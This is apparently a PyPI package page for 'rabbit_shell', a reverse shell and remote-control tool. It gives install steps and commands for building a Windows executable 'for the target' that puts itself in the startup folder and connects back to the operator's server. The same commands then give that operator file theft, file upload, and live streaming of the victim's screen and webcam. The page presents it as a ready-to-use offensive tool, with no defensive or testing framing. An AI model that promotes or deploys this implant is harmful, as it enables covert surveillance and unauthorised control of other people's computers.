Skip to main content

Rabbit shell reverse shell tool.

Project description

license Python

Rabbit-shell

Rabbit shell advanced reverse shell tool.

tool

Installation.

By pip.

pip install rabbit_shell

install using pypi.

or

By clone.

git clone https://github.com/greedalbadi/rabbit-shell.git
cd rabbit-shell
pip install .

install using git clone.

steps.

1 - Install rabbit-shell tool.

2 - Generate your key using --key command.

example: rsb --key

3 - run tool on your server using --server command along with your server ip address and port .

example: rsb --server -a 192.168.0.111 -p 9999

4 - Generate exe for target using --client along with your server ip address and port .

example: rsb --client -a 192.168.0.111 -p 9999

5 - now to start controlling target on your main device prefferred on windows run --auth command.

example: rsb --auth -a 192.168.0.111 -p 9999

  • now when your target run your exe will it will be connected and you will can control your target.

Usage.

rsb --help

print available arguments with a tiny explain or just rsb.

Run server and start listening.

rsb --server -a 192.168.0.111 -p 9999
  • --server is args container
  • -a is server or device ip address
  • -p is wich port you'll be listening to
There'll be a seperate socket for file transfering the port is whaever enter - 1, If main server port 9999
file transfer port well be 9998, the files are going to trans to wherever your location is.

Log to server as author.

rsb --auth -a 192.168.0.111 -p 9999
  • --auth is args container
  • -a is server or device ip address
  • -p is wich port you'll be listening to server and contacts
  • -k (optional) use key
connect to your server as an author and control your own clients.

Generate exe for the target.

rsb --client -a 192.168.0.111 -p 9999
  • --client is args container
  • -a is server or device ip address
  • -p is wich port you'll be listening to
This will generate an exe inside a dist directory you may delete build folder, when the exe runs It'll create
a shortcut in startup folder if the system is windows.

Generate new key\insert key\show key.

rsb --key
generate a new key and save it in data\basic.py.

Commands to use from server side.

To request server information.

>: server
Server host and port also the tool version and tool name.

To list all clients.

>: list
List online and offline clients use, device address, and more.

To set and controll a client console by client use number from the list.

>: set 0
To controle client console you can git client set number from using the command list
and use the command >: set (client use number).

Quit client session.

>: quit
Quit client console without losing connection with client, used to things like changing to another set or gain info.

Send file to client.

>: file:filename

Request file from client.

>: reqfile:filename

stream

streaming will be done by wich client is sending frames to the server
so make sure that it's one client whom send's stream frames and stop other streams to be safe, after you'r done with the stream stop it using >: stream:stop .

stream current client screen.

>: stream:screen

stream current client webcam.

>: stream:cam

stop stream

>: stream:stop
make sure you stop the stream when you want to start streaming another client.

About.

by @greedalbadi

This tool uses MIT license.

made with depression <3

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

rabbit_shell-3.3.3-py3-none-any.whl (22.0 kB view details)

Uploaded Python 3

File details

Details for the file rabbit_shell-3.3.3-py3-none-any.whl.

File metadata

  • Download URL: rabbit_shell-3.3.3-py3-none-any.whl
  • Upload date:
  • Size: 22.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.1 CPython/3.9.13

File hashes

Hashes for rabbit_shell-3.3.3-py3-none-any.whl
Algorithm Hash digest
SHA256 561f6a82f31ab872c0ce03d96318ef9576d6eed85ec0bcc42096c957da4b67c9
MD5 5fe0c3605ebfbed56aa2ba4f8566f322
BLAKE2b-256 9e29b4c9c0e2d3e16f544d992f8892a566107a62140b45d881ae67ec735c6e59

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page